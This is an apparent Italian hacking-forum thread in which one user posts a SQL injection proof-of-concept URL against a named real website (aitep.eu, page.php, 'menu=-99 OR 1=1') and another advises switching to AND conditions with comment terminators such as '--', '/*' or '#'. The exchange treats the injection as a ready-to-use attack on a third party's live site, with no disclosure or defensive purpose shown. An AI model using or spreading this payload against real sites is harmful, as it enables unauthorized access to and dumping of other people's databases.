aitep.eu SQL Injection

[BrainStorm]

PoC:

http://www.aitep.eu/it/page.php?act=menupage&menu=-99%20OR%201=1

Fate attenzione perchè la query genera un traffico moooolto elevato.

 

[XaDoS]

perchè tutte quelle che trovi generano sempre: il blocco del mio computer
lol

 

[BrainStorm]

l' ho anche scritto di fare attenzione :dodgy:

 

[XaDoS]

ma no, la mi ara una battuta perchè sul serio tute quelle che posti mi rallentano tutto il pc.
ma penso di aver trovato la risposta: è quel particolare comando che metti RALLENTA TUTTO
ti consiglio di mettere le possime volte 1=0-- oppure 1=1-- che funziona bene e non rallenta nulla.

 

[BrainStorm]

Vedi che non cambia nulla con il -- finale perchè quello serve per commentare il resto della query. Quando dai il comando 1=1 viene restituito l' intero contenuto della tabella che in alcuni casi contiene molti dati. Capito ora?

 

[XaDoS]

non hai capito
non parlavod el -- che può essere benissimo anche /* o #
parlavo del fatto di scrivere AND e non OR
fidati è emglio ;-) almeno per me lo è ..e coincidenza vuole che solo le tue sono così e sono le uniche che mi danno problema al pc